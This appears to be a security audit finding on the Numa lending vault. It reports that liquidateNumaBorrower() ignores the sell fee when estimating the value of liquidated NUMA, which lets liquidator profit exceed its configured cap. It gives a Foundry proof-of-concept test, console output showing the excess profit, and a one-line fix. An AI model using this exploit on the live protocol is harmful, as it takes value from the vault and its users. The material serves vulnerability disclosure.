Small Shamrock Rook
High
The following check is used to limit the liquidator profit in liquidateNumaBorrower()
:
if (lstLiquidatorProfit > maxLstProfitForLiquidations) {
vaultProfit = lstLiquidatorProfit - maxLstProfitForLiquidations;
}
lstLiquidatorProfit
is obtained via:
lstLiquidatorProfit = receivedlst - lstProvidedEstimate;
Where lstProvidedEstimate
is calculated as:
uint lstProvidedEstimate = vaultManager.numaToToken(
numaAmount,
last_lsttokenvalueWei,
decimals,
criticalScaleForNumaPriceAndSellFee
);
Whenever calling VaultManager.numaToToken()
, the vault’s sell fee must be applied to the output to calculate the correct value, and this is evident in the rest of the codebase.
The issue is that lstProvidedEstimate
(obtained via VaultManager.numaToToken()
does not account for the sell fee incurred when NUMA is converted to rETH. This causes the liquidated numaAmount
to be overvalued, inflating lstProvidedEstimate
Not accounting for sell fee when using VaultManager.numaToToken()
No response
No response
- Perform a profitable liquidation on a large position.
- Profit value exceeds the maximum profit that has been set.
Not accounting for the sell fee deflates the lstLiquidatorProfit
value from the true value, allowing the actual liquidation profit to exceed maxLstProfitForLiquidations
Add the following test to Lending.t.sol
:
Foundry test
function testJ_profitMoreThanMaxProfit() public {
// make sure to use the logs to clearly show the info.
prepare_numaBorrow_JRV4();
vm.roll(block.number + blocksPerYear / 4);
cNuma.accrueInterest();
(, uint liquidity, uint shortfall, uint badDebt) = comptroller
.getAccountLiquidityIsolate(userA, cReth, cNuma);
console.log(liquidity);
console.log(shortfall);
console.log(badDebt);
// liquidate
vm.startPrank(vault.owner());
uint256 sellFee = vaultManager.getSellFeeScalingUpdate();
vm.startPrank(userC);
uint numaAmountBuy = 1000 ether;
rEth.approve(address(vault), 2 * numaAmountBuy);
vault.buy(2 * numaAmountBuy, numaAmountBuy, userC);
uint balC = rEth.balanceOf(userC);
uint numaBalance = numa.balanceOf(userC);
uint256 lstValueOfNumaLiquidated = vault.numaToLst(cNuma.borrowBalanceCurrent(userA));
(
,
uint256 criticalScale,
) = vault.updateVaultAndUpdateDebasing();
uint256 noFee_lstValueOfNumaLiquidated
= vaultManager.numaToToken(
cNuma.borrowBalanceCurrent(userA),
vault.last_lsttokenvalueWei(),
1e18,
criticalScale
);
numa.approve(address(vault), numaBalance);
vault.liquidateNumaBorrower(userA, type(uint256).max, false, false);
console.log("rETH received: %e", rEth.balanceOf(userC) - balC);
console.log("rEth value spent: %e", lstValueOfNumaLiquidated);
// actual profit greatly exceeds the max profit of 1e19
console.log("profit: %e", (rEth.balanceOf(userC) - balC) - lstValueOfNumaLiquidated);
}
Note that the max LST liquidation profit is 1e19
(can be checked by adding console logs since there's no getter function).
Console output:
rETH received: 9.33073160044779735711e20
rEth value spent: 8.76919502042540748925e20
profit: 5.6153658002238986786e19
The profit greatly exceeds the maxLstLiquidatorProfit
of 1e19.
Use the numaToLst()
function instead as this accounts for the sell fee:
-uint lstProvidedEstimate = vaultManager.numaToToken(
- numaAmount,
- last_lsttokenvalueWei,
- decimals,
- criticalScaleForNumaPriceAndSellFee
- );
+ uint lstProvidedEstimate = this.numaToLst(numaAmount);
Applying the fix, here is the console output when re-running the PoC:
rETH received: 8.86919502042540748925e20
rEth value spent: 8.76919502042540748925e20
profit: 1e19
We can see that the profit is correctly capped at 1e19